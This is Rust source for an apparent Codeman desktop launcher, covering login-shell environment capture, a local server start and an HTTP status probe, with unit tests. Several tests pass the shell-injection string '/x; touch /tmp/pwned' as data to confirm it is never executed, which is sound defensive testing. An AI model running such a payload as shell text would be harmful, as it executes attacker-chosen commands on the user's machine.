.filter(|l| !l.trim().is_empty())
.collect();
lines[lines.len().saturating_sub(n)..].join("\n")
}
/// The variables `env` printed between the markers, or None when the output
/// does not hold both. A line that does not start with a portable variable
/// name followed by `=` continues the previous value (a value with a newline
/// in it); one that does starts the next variable.
fn parse_env(output: &str) -> Option<Vec<(String, String)>> {
let mut lines = output.split('\n');
// ends_with: a profile line printed without its newline sits in front.
lines.by_ref().find(|l| l.trim_end().ends_with(ENV_BEGIN))?;
let mut vars: Vec<(String, String)> = Vec::new();
for line in lines {
if line.trim() == ENV_END {
return Some(vars);
}
match env_entry(line) {
Some((name, value)) => vars.push((name.to_string(), value.to_string())),
None => {
if let Some((_, value)) = vars.last_mut() {
value.push('\n');
value.push_str(line);
}
}
}
}
None
}
fn env_entry(line: &str) -> Option<(&str, &str)> {
let (name, value) = line.split_once('=')?;
let mut chars = name.chars();
let first = chars.next()?;
let portable =
(first.is_ascii_alphabetic() || first == '_') && chars.all(|c| c.is_ascii_alphanumeric() || c == '_');
portable.then_some((name, value))
}
/// Ask `shell` for its environment with `flags`. The outer error ends the
/// start (the shell could not be run, or time is up); the inner one means this
/// form printed no environment and the next may be tried.
fn capture_env(
shell: &Path,
flags: &[&str],
deadline: Instant,
) -> Result<Result<Vec<(String, String)>, String>, String> {
let mut cmd = Command::new(shell);
cmd.args(flags).arg(capture_command());
let out = exec(cmd, deadline)?;
Ok(parse_env(&out.stdout).ok_or_else(|| {
// stderr only: stdout can hold part of the environment, API keys included.
let said = last_lines(&out.stderr, 6);
let mut message = format!("Could not read the environment of your login shell {}", shell.display());
if said.is_empty() {
let code = out
.code
.map_or_else(|| "a signal".to_string(), |c| format!("exit code {c}"));
message.push_str(&format!(" (it ended with {code})."));
} else {
message.push_str(":\n");
message.push_str(&said);
}
message
}))
}
/// The login shell's environment, for a process the app runs without it (the
/// graphical install). `None` when the shell reports none.
pub fn login_environment() -> Option<Vec<(String, String)>> {
let shell = login_shell();
let flags: &[&str] = match flavor(&shell) {
Flavor::Posix => &["-l", "-c"],
Flavor::Capture(attempts) => attempts.first().copied().unwrap_or(&["-c"]),
};
capture_env(&shell, flags, Instant::now() + FIND_TIMEOUT).ok()?.ok()
}
/// Run `cmd` in the home folder, where a terminal and the LaunchAgent start
/// Codeman too. The server keeps the directory it was started in and uses it
/// as the default for a session that names none; an app opened from the Finder
/// or the Dock runs in `/`.
fn in_home(cmd: &mut Command) {
if let Some(home) = dirs::home_dir() {
cmd.current_dir(home);
}
}
/// `script` (SCRIPT or FIND_SCRIPT) under `/bin/sh` with exactly the captured
/// environment, so the server gets the profile's PATH, API keys and CODEMAN_*
/// settings and nothing of launchd's bare one.
fn run_with_env(script: &str, env: &[(String, String)], args: &[String], deadline: Instant) -> Result<Run, String> {
let mut cmd = Command::new("/bin/sh");
cmd.arg("-c").arg(script).arg("codeman-desktop").args(args);
cmd.env_clear().envs(env.iter().map(|(k, v)| (k, v)));
in_home(&mut cmd);
exec(cmd, deadline).map(Run::from)
}
/// `script` run by the POSIX login shell itself.
fn run_in_shell(
script: &str,
shell: &Path,
interactive: bool,
args: &[String],
deadline: Instant,
) -> Result<Run, String> {
let mut cmd = Command::new(shell);
cmd.arg("-l");
if interactive {
cmd.arg("-i");
}
cmd.arg("-c").arg(script).arg("codeman-desktop").args(args);
in_home(&mut cmd);
exec(cmd, deadline).map(Run::from)
}
/// Run `script` the way the login shell allows (see the module docs). Exit
/// 127 means "no codeman here" and moves on to the next way of asking; the
/// interactive profile is asked only when `interactive` allows it.
fn launch(script: &str, shell: &Path, args: &[String], deadline: Instant, interactive: bool) -> Result<Run, String> {
let attempts = match flavor(shell) {
Flavor::Posix => {
let result = run_in_shell(script, shell, false, args, deadline)?;
if result.code != Some(127) || !interactive {
return Ok(result);
}
// Not on the login PATH; try the interactive profile too.
return run_in_shell(script, shell, true, args, deadline);
}
Flavor::Capture(attempts) => attempts,
};
let mut last_run = None;
let mut capture_error = None;
let interactive_flag = |flags: &&&[&str]| {
flags
.iter()
.any(|f| f.starts_with('-') && !f.starts_with("--") && f.contains('i'))
};
for flags in attempts.iter().filter(|f| interactive || !interactive_flag(f)) {
match capture_env(shell, flags, deadline)? {
Ok(env) => {
let result = run_with_env(script, &env, args, deadline)?;
if result.code != Some(127) {
return Ok(result);
}
last_run = Some(result);
}
Err(e) => capture_error = Some(e),
}
}
if let Some(result) = last_run {
return Ok(result);
}
// No form printed an environment: a shell that knows neither -l nor -i
// may still run a bare -c.
match capture_env(shell, &["-c"], deadline)? {
Ok(env) => run_with_env(script, &env, args, deadline),
Err(e) => Err(capture_error.unwrap_or(e)),
}
}
/// Exit 0 when SCRIPT would find Codeman (the `codeman` command or the
/// `install.sh` clone), 127 when it would not. Same lookup, nothing started.
const FIND_SCRIPT: &str = r#"if command -v codeman >/dev/null 2>&1; then exit 0; fi
if [ -f "$HOME/.codeman/app/dist/index.js" ] && command -v node >/dev/null 2>&1; then exit 0; fi
exit 127"#;
/// How long the This Mac tab waits for the login shell to answer whether
/// Codeman is installed.
const FIND_TIMEOUT: Duration = Duration::from_secs(15);
/// `installed` with the shell given, so tests need not touch `$SHELL`.
fn installed_with(shell: &Path, interactive: bool) -> bool {
matches!(
launch(FIND_SCRIPT, shell, &[], Instant::now() + FIND_TIMEOUT, interactive),
Ok(Run { code: Some(0), .. })
)
}
/// Whether "Start Codeman on this Mac" would find Codeman: the `codeman`
/// command on the login shell's PATH, or `~/.codeman/app` with `node`. Runs
/// the login shell, so never on the event loop. `interactive` also asks the
/// interactive profile (nvm in `.zshrc`, say), whose side effects only a
/// user's own click should set off.
pub fn installed(interactive: bool) -> bool {
installed_with(&login_shell(), interactive)
}
/// `start` with the shell given, so tests need not touch `$SHELL`.
fn start_with(shell: &Path, args: &[String]) -> Result<String, String> {
let result = launch(SCRIPT, shell, args, Instant::now() + TIMEOUT, true)?;
match result.code {
Some(0) => Ok(result.output),
_ if result.output.is_empty() => Err("codeman web -d failed without saying why.".into()),
_ => Err(result.output),
}
}
/// Start a detached server for `url`. Ok carries what `codeman` printed.
pub fn start(url: &Url) -> Result<String, String> {
if !policy::can_start_locally(url) {
return Err("Codeman can only be started here for http://127.0.0.1 or http://localhost on this Mac.".into());
}
start_with(&login_shell(), &policy::start_args(url))
}
#[cfg(test)]
mod tests {
use super::*;
/// One spawning test at a time. A test writes a fake executable and then
/// runs it; a process forked by a parallel test in between can still hold
/// the write descriptor, and the exec then fails with ETXTBSY.
fn serial() -> std::sync::MutexGuard<'static, ()> {
static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
LOCK.lock().unwrap_or_else(|e| e.into_inner())
}
#[test]
fn tail_of_output() {
assert_eq!(last_lines("a\n\nb\nc\n", 2), "b\nc");
assert_eq!(last_lines("", 3), "");
}
#[test]
fn stderr_starts_on_a_line_of_its_own() {
let said = |stdout: &str, stderr: &str| {
Run::from(Output {
code: Some(1),
stdout: stdout.into(),
stderr: stderr.into(),
})
.output
};
// stdout that ended without a newline used to be glued to stderr.
assert_eq!(
said("Starting Codeman", "Error: port 3000 is in use\n"),
"Starting Codeman\nError: port 3000 is in use"
);
assert_eq!(said("Starting\n", "Error\n"), "Starting\nError");
assert_eq!(said("", "Error\n"), "Error");
assert_eq!(said("Started\n", " \n"), "Started");
}
#[test]
fn refuses_non_local_or_https() {
assert!(start(&Url::parse("https://127.0.0.1:3000/").unwrap()).is_err());
assert!(start(&Url::parse("http://192.168.1.4:3000/").unwrap()).is_err());
}
/// The script passes its arguments through untouched and reports a missing
/// `codeman` with exit 127 (run with an empty PATH and HOME so nothing is found).
#[test]
fn script_reports_missing_codeman() {
let _serial = serial();
let out = Command::new("/bin/sh")
.arg("-c")
.arg(SCRIPT)
.arg("codeman-desktop")
.args(["web", "-d", "--port", "3000"])
.env("PATH", "/nonexistent")
.env("HOME", "/nonexistent")
.output()
.unwrap();
assert_eq!(out.status.code(), Some(127));
assert!(String::from_utf8_lossy(&out.stderr).contains("Could not find the codeman command"));
}
/// Arguments are data: a hostile-looking value is passed as one argv entry
/// to a fake `codeman`, never run by the shell.
#[test]
fn arguments_are_not_shell_text() {
let _serial = serial();
let dir = std::env::temp_dir().join(format!("codeman-desktop-fake-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let fake = dir.join("codeman");
std::fs::write(&fake, "#!/bin/sh\nfor a in \"$@\"; do printf '[%s]' \"$a\"; done\n").unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&fake, std::fs::Permissions::from_mode(0o755)).unwrap();
}
let out = Command::new("/bin/sh")
.arg("-c")
.arg(SCRIPT)
.arg("codeman-desktop")
.args(["web", "--base-url", "/x; touch /tmp/pwned"])
.env("PATH", format!("{}:/usr/bin:/bin", dir.display()))
.output()
.unwrap();
assert_eq!(
String::from_utf8_lossy(&out.stdout),
"[web][--base-url][/x; touch /tmp/pwned]"
);
let _ = std::fs::remove_dir_all(&dir);
}
fn pairs(vars: &[(&str, &str)]) -> Vec<(String, String)> {
vars.iter().map(|(k, v)| (k.to_string(), v.to_string())).collect()
}
#[test]
fn env_capture_parser() {
let out = format!(
"Welcome to fish, the friendly interactive shell\nno newline here{ENV_BEGIN}\n\
PATH=/opt/homebrew/bin:/usr/bin:/bin\n\
MULTI=line one\nline two\n three = 3\n\
EMPTY=\n\
TRAIL=a \n\n\
_=/usr/bin/env\n\
{ENV_END} \nbye from the profile\nNOT_CAPTURED=1\n"
);
assert_eq!(
parse_env(&out),
Some(pairs(&[
("PATH", "/opt/homebrew/bin:/usr/bin:/bin"),
("MULTI", "line one\nline two\n three = 3"),
("EMPTY", ""),
("TRAIL", "a \n"),
("_", "/usr/bin/env"),
]))
);
// A value may itself contain `=`; only the first one splits.
assert_eq!(
parse_env(&format!("{ENV_BEGIN}\nOPTS=a=b\n{ENV_END}\n")),
Some(pairs(&[("OPTS", "a=b")]))
);
assert_eq!(parse_env(&format!("{ENV_BEGIN}\n{ENV_END}\n")), Some(vec![]));
assert_eq!(parse_env(&format!("{ENV_BEGIN}\nPATH=/usr/bin\n")), None);
assert_eq!(parse_env(&format!("PATH=/usr/bin\n{ENV_END}\n")), None);
assert_eq!(parse_env("fish: Unknown command: then\n"), None);
}
#[test]
fn shell_flavor_by_basename() {
for posix in [
"/bin/zsh",
"/bin/bash",
"/bin/sh",
"/bin/dash",
"/bin/ksh",
"/opt/homebrew/bin/bash",
] {
assert_eq!(flavor(Path::new(posix)), Flavor::Posix, "{posix}");
}
assert_eq!(flavor(Path::new("/bin/tcsh")), Flavor::Capture(&[&["-ic"]]));
assert_eq!(flavor(Path::new("/bin/csh")), Flavor::Capture(&[&["-ic"]]));
for other in [
"/opt/homebrew/bin/fish",
"/usr/local/bin/nu",
"/opt/homebrew/bin/xonsh",
"/usr/local/bin/pwsh",
] {
assert_eq!(
flavor(Path::new(other)),
Flavor::Capture(&[&["-l", "-c"], &["-l", "-i", "-c"]]),
"{other}"
);
}
}
/// The login shell's part avoids everything only POSIX shells read.
#[test]
fn capture_command_is_shell_neutral() {
let _serial = serial();
let cmd = capture_command();
for bad in ["then", "fi", "$", "\\", "!", "\"", "&&"] {
assert!(!cmd.contains(bad), "{bad} in {cmd}");
}
assert_eq!(cmd.matches('\'').count(), 2);
assert!(cmd.starts_with("/bin/sh -c '"));
// /bin/sh, as the capture runs it, prints a parsable environment.
let out = Command::new("/bin/sh")
.arg("-c")
.arg(&cmd)
.env("CODEMAN_DESKTOP_PARSER_PROBE", "two\nlines")
.output()
.unwrap();
let env = parse_env(&String::from_utf8_lossy(&out.stdout)).expect("markers");
assert!(env
.iter()
.any(|(k, v)| k == "CODEMAN_DESKTOP_PARSER_PROBE" && v == "two\nlines"));
assert!(env.iter().any(|(k, _)| k == "PATH"));
}
/// A scratch directory with a fake `codeman` in `bin/` that prints its
/// arguments, the profile's marker variable and the names of everything in
/// its environment.
struct Scratch(PathBuf);
impl Scratch {
fn new(name: &str) -> Self {
let dir = std::env::temp_dir().join(format!("codeman-desktop-{name}-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(dir.join("bin")).unwrap();
std::fs::create_dir_all(dir.join("home")).unwrap();
let scratch = Scratch(dir);
scratch.exe(
"bin/codeman",
"#!/bin/sh\nprintf '[%s]' \"$@\"; echo\necho \"profile: $CODEMAN_DESKTOP_TEST\"\n\
printf 'names:'; env | cut -d= -f1 | tr '\\n' ' '; echo\n",
);
scratch
}
/// Write an executable at `rel`, with `DIR` in `body` replaced by the scratch path.
fn exe(&self, rel: &str, body: &str) -> PathBuf {
let path = self.0.join(rel);
std::fs::write(&path, body.replace("DIR", &self.0.display().to_string())).unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)).unwrap();
}
path
}
fn argv_log(&self) -> String {
std::fs::read_to_string(self.0.join("argv.log")).unwrap_or_default()
}
}
impl Drop for Scratch {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.0);
}
}
const HOSTILE_ARGS: [&str; 3] = ["web", "--base-url", "/x; touch /tmp/pwned"];
fn hostile_args() -> Vec<String> {
HOSTILE_ARGS.iter().map(|s| s.to_string()).collect()
}
/// A stand-in for fish: it refuses POSIX `then` and `$@` the way fish
/// does, logs its flags, prints profile noise around whatever it runs, and
/// its "profile" replaces the environment. On its interactive form only
/// when `INTERACTIVE_ONLY` is yes, PATH reaches the fake `codeman`.
const FAKE_FISH: &str = r#"#!/bin/sh
args=""
for a in "$@"; do
case "$a" in
*then*|*'$@'*) echo "fish: Unknown command: then" >&2; exit 127;;
-*) args="$args$a ";;
esac
cmd="$a"
done
echo "$args" >> "DIR/argv.log"
bin="DIR/bin"
case "INTERACTIVE_ONLY:$args" in yes:*-i*|no:*) ;; *) bin=/nonexistent;; esac
echo "Welcome to fish, the friendly interactive shell"
/usr/bin/env -i PATH="$bin:/usr/bin:/bin" HOME="DIR/home" CODEMAN_DESKTOP_TEST="from the profile" /bin/sh -c "$cmd"
echo "bye from the profile"
"#;
/// SCRIPT never reaches the non-POSIX shell: it runs under /bin/sh with the
/// environment the shell printed, and with nothing else.
#[test]
fn non_posix_shell_only_reports_its_environment() {
let _serial = serial();
let s = Scratch::new("fish");
let fish = s.exe("fish", &FAKE_FISH.replace("INTERACTIVE_ONLY", "no"));
let out = start_with(&fish, &hostile_args()).expect("started");
let lines: Vec<&str> = out.lines().collect();
assert_eq!(lines[0], "[web][--base-url][/x; touch /tmp/pwned]");
assert_eq!(lines[1], "profile: from the profile");
assert_eq!(s.argv_log(), "-l -c \n");
// env_clear: a variable this process has, but the profile did not
// export, must not reach codeman.
let names: Vec<&str> = lines[2].trim_start_matches("names:").split_whitespace().collect();
assert!(names.contains(&"PATH") && names.contains(&"CODEMAN_DESKTOP_TEST"));
let captured = ["PATH", "HOME", "CODEMAN_DESKTOP_TEST", "PWD", "OLDPWD", "SHLVL", "_"];
let leaked: Vec<String> = std::env::vars_os()
.filter_map(|(k, _)| k.into_string().ok())
.filter(|k| !captured.contains(&k.as_str()) && !k.starts_with("__CF"))
.filter(|k| names.contains(&k.as_str()))
.collect();
assert!(leaked.is_empty(), "leaked from the app: {leaked:?}");
}
/// No codeman on the login PATH (exit 127): the environment is captured
/// again from the interactive profile, and that run finds it.
#[test]
fn non_posix_shell_retries_with_the_interactive_profile() {
let _serial = serial();
let s = Scratch::new("fish-retry");
let fish = s.exe("fish", &FAKE_FISH.replace("INTERACTIVE_ONLY", "yes"));
let out = start_with(&fish, &hostile_args()).expect("started");
assert!(out.starts_with("[web][--base-url][/x; touch /tmp/pwned]\n"), "{out}");
assert_eq!(s.argv_log(), "-l -c \n-l -i -c \n");
}
/// tcsh takes -l only as its only flag, so it is asked with -ic alone.
#[test]
fn tcsh_gets_ic_and_never_l() {
let _serial = serial();
let s = Scratch::new("tcsh");
let tcsh = s.exe(
"tcsh",
r#"#!/bin/sh
echo "$*" >> "DIR/argv.log"
if [ "$#" != 2 ] || [ "$1" != -ic ]; then echo "tcsh: Unknown option: $1" >&2; exit 1; fi
/usr/bin/env -i PATH="DIR/bin:/usr/bin:/bin" HOME="DIR/home" CODEMAN_DESKTOP_TEST=tcsh /bin/sh -c "$2"
"#,
);
let out = start_with(&tcsh, &hostile_args()).expect("started");
assert!(out.contains("profile: tcsh"), "{out}");
assert_eq!(s.argv_log().lines().count(), 1);
assert!(s.argv_log().starts_with("-ic /bin/sh -c '"));
}
/// A shell that takes neither -l nor -i still gets a bare -c.
#[test]
fn shell_without_login_flags_falls_back_to_plain_c() {
let _serial = serial();
let s = Scratch::new("nolflag");
let shell = s.exe(
"elvish",
r#"#!/bin/sh
echo "$1" >> "DIR/argv.log"
case "$1" in -l|-i) echo "flag provided but not defined: $1" >&2; exit 2;; esac
/usr/bin/env -i PATH="DIR/bin:/usr/bin:/bin" HOME="DIR/home" CODEMAN_DESKTOP_TEST=plain /bin/sh -c "$2"
"#,
);
let out = start_with(&shell, &hostile_args()).expect("started");
assert!(out.contains("profile: plain"), "{out}");
assert_eq!(s.argv_log(), "-l\n-l\n-c\n");
}
/// A shell that never prints its environment is reported by name with what
/// it said on stderr, never with stdout (which can carry secrets).
#[test]
fn capture_failure_names_the_shell() {
let _serial = serial();
let s = Scratch::new("broken");
let shell = s.exe(
"weirdsh",
"#!/bin/sh\necho 'API_KEY=sk-secret'\necho 'weirdsh: cannot start' >&2\nexit 3\n",
);
let err = start_with(&shell, &hostile_args()).unwrap_err();
assert!(err.contains("Could not read the environment"), "{err}");
assert!(err.contains("weirdsh: cannot start"), "{err}");
assert!(!err.contains("sk-secret"), "{err}");
}
/// POSIX shells keep running SCRIPT themselves: `-l -c SCRIPT codeman-desktop
/// args`, then `-l -i -c` when the login PATH had no codeman.
#[test]
fn posix_shell_runs_script_itself_and_retries_interactive() {
let _serial = serial();
let s = Scratch::new("zsh");
let zsh = s.exe(
"zsh",
r#"#!/bin/sh
[ "$1" = -l ] || exit 90
shift
PATH=/usr/bin:/bin
if [ "$1" = -i ]; then shift; PATH="DIR/bin:/usr/bin:/bin"; fi
[ "$1" = -c ] || exit 91
shift
echo "$2" >> "DIR/argv.log"
HOME="DIR/home"
export PATH HOME
exec /bin/sh -c "$@"
"#,
);
let out = start_with(&zsh, &hostile_args()).expect("started");
assert!(out.starts_with("[web][--base-url][/x; touch /tmp/pwned]\n"), "{out}");
// $0 of the script, once per run: login, then interactive.
assert_eq!(s.argv_log(), "codeman-desktop\ncodeman-desktop\n");
}
/// The installed check asks the same shells the same way and runs nothing:
/// found on the interactive PATH here, after the login PATH had none.
#[test]
fn installed_check_finds_codeman_without_running_it() {
let _serial = serial();
let s = Scratch::new("find-zsh");
let zsh = s.exe(
"zsh",
r#"#!/bin/sh
[ "$1" = -l ] || exit 90
shift
PATH=/usr/bin:/bin
if [ "$1" = -i ]; then shift; PATH="DIR/bin:/usr/bin:/bin"; fi
[ "$1" = -c ] || exit 91
shift
echo "$2" >> "DIR/argv.log"
HOME="DIR/home"
export PATH HOME
exec /bin/sh -c "$@"
"#,
);
// A codeman that would leave a mark if it ran.
s.exe("bin/codeman", "#!/bin/sh\ntouch DIR/ran\n");
// Without the interactive profile: one login-shell look, not found.
assert!(!installed_with(&zsh, false));
assert_eq!(s.argv_log(), "codeman-desktop\n");
assert!(installed_with(&zsh, true));
assert_eq!(s.argv_log(), "codeman-desktop\ncodeman-desktop\ncodeman-desktop\n");
assert!(!s.0.join("ran").exists(), "the installed check ran codeman");
}
/// Nothing on any PATH and no ~/.codeman/app: not installed. Through a
/// non-POSIX shell too, which only reports its environment.
#[test]
fn installed_check_reports_missing_codeman() {
let _serial = serial();
let s = Scratch::new("find-fish");
std::fs::remove_file(s.0.join("bin/codeman")).unwrap();
let fish = s.exe("fish", &FAKE_FISH.replace("INTERACTIVE_ONLY", "no"));
assert!(!installed_with(&fish, true));
// The login-only look asks fish once, with -l and never -i.
let before = s.argv_log();
assert!(!installed_with(&fish, false));
assert_eq!(&s.argv_log()[before.len()..], "-l -c \n");
// The install.sh clone counts once node is there.
let app = s.0.join("home/.codeman/app/dist");
std::fs::create_dir_all(&app).unwrap();
std::fs::write(app.join("index.js"), "").unwrap();
s.exe("bin/node", "#!/bin/sh\nexit 0\n");
assert!(installed_with(&fish, true));
assert!(installed_with(&fish, false));
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+770
View File
@@ -0,0 +1,770 @@
//! "Is a Codeman server answering at this address, and does it want a login?"
//!
//! One `GET <server>/api/status`, five seconds at most, run off the UI thread.
//! The answer is classified into something the connect page can explain. It is
//! asked once per user action, never in a loop: Codeman counts a request
//! without valid credentials against the login rate limit (10 per IP).
use serde::Serialize;
use std::time::Duration;
use url::Url;
pub const TIMEOUT: Duration = Duration::from_secs(5);
const MAX_BODY: u64 = 8 * 1024 * 1024;
/// The path the probe asks for, relative to the server's base URL.
const STATUS_PATH: &str = "api/status";
/// rustls' text for `Error::InvalidCertificate`, which is what a handshake
/// with a certificate the OS does not trust fails with. ureq hands it over as
/// an `io::Error` of kind `InvalidData`, so the text is all there is to match
/// without a direct rustls dependency.
const CERT_REJECTED_PREFIX: &str = "invalid peer certificate";
/// std's text for a failed `getaddrinfo`. Its kind is `Uncategorized`, which
/// cannot be matched on stable Rust, so the prefix is the only handle. The
/// prefix is the same on macOS and Linux; only the resolver's reason differs.
const LOOKUP_FAILED_PREFIX: &str = "failed to lookup address information";
#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
#[serde(tag = "kind", rename_all = "camelCase")]
pub enum ProbeOutcome {
Ok {
version: String,
},
/// 401 and we sent no credentials.
NeedsLogin,
/// 401 although we sent credentials.
BadCredentials,
/// 429: too many failed logins from this address. A single-user Codeman
/// still accepts the right password, so the page needs to know whether
/// this probe carried one. `retry_after_secs` is the server's
/// `Retry-After`, when it gave one in seconds.
#[serde(rename_all = "camelCase")]
RateLimited {
sent_credentials: bool,
#[serde(skip_serializing_if = "Option::is_none")]
retry_after_secs: Option<u64>,
},
/// 403 `PASSWORD_CHANGE_REQUIRED`: the credentials are valid, but a
/// multi-user Codeman wants this account's password changed first. Page
/// loads are exempt, so the web UI can show its change-password dialog.
PasswordChangeRequired,
/// 403 from Codeman's Host guard (a name it does not know, e.g. a custom domain).
HostNotAllowed,
/// 3xx. `location` is the target resolved against the probed URL.
/// `suggested` is a server address to use instead, set only when the
/// redirect stays on the same host, only moves to https or another port,
/// and still points at the status API. Never followed: a second request
/// would carry the credentials to an address the user did not type.
Redirect {
location: String,
suggested: Option<String>,
},
/// Something answered, but not Codeman's status API.
NotCodeman {
status: u16,
},
Refused,
/// No route to the address: the machine is off or on another network,
/// or macOS's Local Network privacy setting blocked the app.
Unreachable,
/// An http:// probe whose connection was closed without an answer. A
/// Codeman started with `--https` does exactly that to plain HTTP.
MaybeHttps,
Timeout,
TlsUntrusted {
detail: String,
},
Unresolvable,
Failed {
detail: String,
},
}
/// Classify an HTTP answer to `<server>/api/status`. `request` is the URL that
/// was asked, `location` and `retry_after` are those response headers.
pub fn classify_response(
request: &Url,
status: u16,
location: Option<&str>,
retry_after: Option<&str>,
sent_credentials: bool,
body: &str,
) -> ProbeOutcome {
match status {
200 => {
let parsed: Option<serde_json::Value> = serde_json::from_str(body).ok();
let version = parsed.as_ref().and_then(|v| {
(v.get("success")? == &serde_json::Value::Bool(true))
.then(|| v.get("data")?.get("version")?.as_str().map(str::to_string))
.flatten()
});
match version {
Some(version) => ProbeOutcome::Ok { version },
None => ProbeOutcome::NotCodeman { status },
}
}
300..=399 => {
// A 3xx without a usable Location (304, a garbled header) is not a
// redirect anyone can act on.
match location.and_then(|l| request.join(l.trim()).ok()) {
Some(target) => ProbeOutcome::Redirect {
suggested: suggested_server(request, &target),
location: target.into(),
},
None => ProbeOutcome::NotCodeman { status },
}
}
401 if sent_credentials => ProbeOutcome::BadCredentials,
401 => ProbeOutcome::NeedsLogin,
403 if body.contains("host not allowed") => ProbeOutcome::HostNotAllowed,
// Codeman only says this after the Basic credentials verified (the
// probe sends no cookie), so without credentials it is not Codeman's
// answer to us, and loading the page without them would not help.
403 if sent_credentials && error_code(body).as_deref() == Some("PASSWORD_CHANGE_REQUIRED") => {
ProbeOutcome::PasswordChangeRequired
}
429 => ProbeOutcome::RateLimited {
sent_credentials,
retry_after_secs: retry_after.and_then(|v| v.trim().parse::<u64>().ok()),
},
other => ProbeOutcome::NotCodeman { status: other },
}
}
/// `errorCode` of a Codeman `ApiResponse` error body.
fn error_code(body: &str) -> Option<String> {
let parsed: serde_json::Value = serde_json::from_str(body).ok()?;
Some(parsed.get("errorCode")?.as_str()?.to_string())
}
/// The server base URL a redirect points to, when it is the same server
/// moved to https or another port (a reverse proxy upgrading plain HTTP, the
/// usual case). Anything else, such as another host (a login gateway the
/// window could not pass anyway) or a downgrade to http, gets no suggestion.
fn suggested_server(request: &Url, target: &Url) -> Option<String> {
let upgrade = request.scheme() == "http" && target.scheme() == "https";
let port_change =
request.scheme() == target.scheme() && request.port_or_known_default() != target.port_or_known_default();
if !(upgrade || port_change) || target.host() != request.host() {
return None;
}
if !target.username().is_empty() || target.password().is_some() {
return None;
}
// The redirect must keep pointing at the status API (a proxy may add a
// base path in front of it); the base is what comes before it.
if !target.path().ends_with(request.path()) || !request.path().ends_with(STATUS_PATH) {
return None;
}
let base_path = &target.path()[..target.path().len() - STATUS_PATH.len()];
let mut base = target.clone();
base.set_path(base_path);
base.set_query(None);
base.set_fragment(None);
Some(base.into())
}
/// Transport failures, reduced to what the connect page explains differently.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum TransportError {
Refused,
Unreachable,
ClosedWithoutAnswer,
Timeout,
Tls(String),
Dns,
Other(String),
}
pub fn classify_transport(err: TransportError) -> ProbeOutcome {
match err {
TransportError::Refused => ProbeOutcome::Refused,
TransportError::Unreachable => ProbeOutcome::Unreachable,
TransportError::ClosedWithoutAnswer => ProbeOutcome::MaybeHttps,
TransportError::Timeout => ProbeOutcome::Timeout,
TransportError::Tls(detail) => ProbeOutcome::TlsUntrusted { detail },
TransportError::Dns => ProbeOutcome::Unresolvable,
TransportError::Other(detail) => ProbeOutcome::Failed { detail },
}
}
/// `plain_http`: the probe went to an http:// URL. Only there does a closed
/// connection hint at an https-only server; over https the same close is a
/// failed handshake with nothing more to say about it.
fn transport_error(err: &ureq::Error, plain_http: bool) -> TransportError {
use std::io::ErrorKind;
match err {
ureq::Error::Timeout(_) => TransportError::Timeout,
ureq::Error::HostNotFound => TransportError::Dns,
ureq::Error::ConnectionFailed => TransportError::Refused,
// ureq passes both a rejected certificate (rustls wraps it as
// InvalidData during the handshake) and a failed name lookup (std's
// own error) through as plain io errors, so they are told apart here
// before the kinds below swallow them.
ureq::Error::Io(e) if e.kind() == ErrorKind::InvalidData && e.to_string().starts_with(CERT_REJECTED_PREFIX) => {
TransportError::Tls(e.to_string())
}
ureq::Error::Io(e) if e.raw_os_error().is_none() && e.to_string().starts_with(LOOKUP_FAILED_PREFIX) => {
TransportError::Dns
}
ureq::Error::Io(e) => match e.kind() {
ErrorKind::ConnectionRefused | ErrorKind::ConnectionReset | ErrorKind::AddrNotAvailable => {
TransportError::Refused
}
ErrorKind::HostUnreachable | ErrorKind::NetworkUnreachable => TransportError::Unreachable,
ErrorKind::UnexpectedEof if plain_http => TransportError::ClosedWithoutAnswer,
ErrorKind::TimedOut | ErrorKind::WouldBlock => TransportError::Timeout,
_ => TransportError::Other(e.to_string()),
},
// ureq's own rustls errors come from setting up the TLS client (the
// handshake's arrive as Io above); only a certificate rejection is
// "untrusted", anything else is reported as it is.
ureq::Error::Rustls(e) if e.to_string().starts_with(CERT_REJECTED_PREFIX) => TransportError::Tls(e.to_string()),
other => TransportError::Other(other.to_string()),
}
}
/// Ask the server. Blocking: call it from a worker thread.
pub fn probe(server: &Url, authorization: Option<&str>) -> ProbeOutcome {
probe_within(server, authorization, TIMEOUT)
}
/// `probe` with the time the whole exchange may take.
pub fn probe_within(server: &Url, authorization: Option<&str>, timeout: Duration) -> ProbeOutcome {
let status_url = match server.join(STATUS_PATH) {
Ok(u) => u,
Err(e) => return ProbeOutcome::Failed { detail: e.to_string() },
};
let tls = ureq::tls::TlsConfig::builder()
.root_certs(ureq::tls::RootCerts::PlatformVerifier)
.build();
let agent: ureq::Agent = ureq::Agent::config_builder()
.timeout_global(Some(timeout))
.http_status_as_error(false)
// Never follow: a 3xx comes back as an answer and is explained.
.max_redirects(0)
.tls_config(tls)
.user_agent(concat!("CodemanDesktop/", env!("CARGO_PKG_VERSION")))
.build()
.into();
let mut req = agent.get(status_url.as_str()).header("Accept", "application/json");
if let Some(auth) = authorization {
req = req.header("Authorization", auth);
}
match req.call() {
Ok(mut resp) => {
let status = resp.status().as_u16();
let header = |name: &str| {
resp.headers()
.get(name)
.and_then(|v| v.to_str().ok())
.map(str::to_string)
};
let location = header("location");
let retry_after = header("retry-after");
let body = match resp.body_mut().with_config().limit(MAX_BODY).read_to_string() {
Ok(body) => body,
// The answer began but did not finish in time. Where the body
// decides what answered (200, 403), that is a timeout, not
// "something else answers here".
Err(e) if matches!(status, 200 | 403) && transport_error(&e, false) == TransportError::Timeout => {
return ProbeOutcome::Timeout;
}
Err(_) => String::new(),
};
classify_response(
&status_url,
status,
location.as_deref(),
retry_after.as_deref(),
authorization.is_some(),
&body,
)
}
Err(e) => classify_transport(transport_error(&e, status_url.scheme() == "http")),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io;
fn status_url() -> Url {
Url::parse("http://studio.lan:3000/api/status").unwrap()
}
/// `classify_response` for the cases that need no headers.
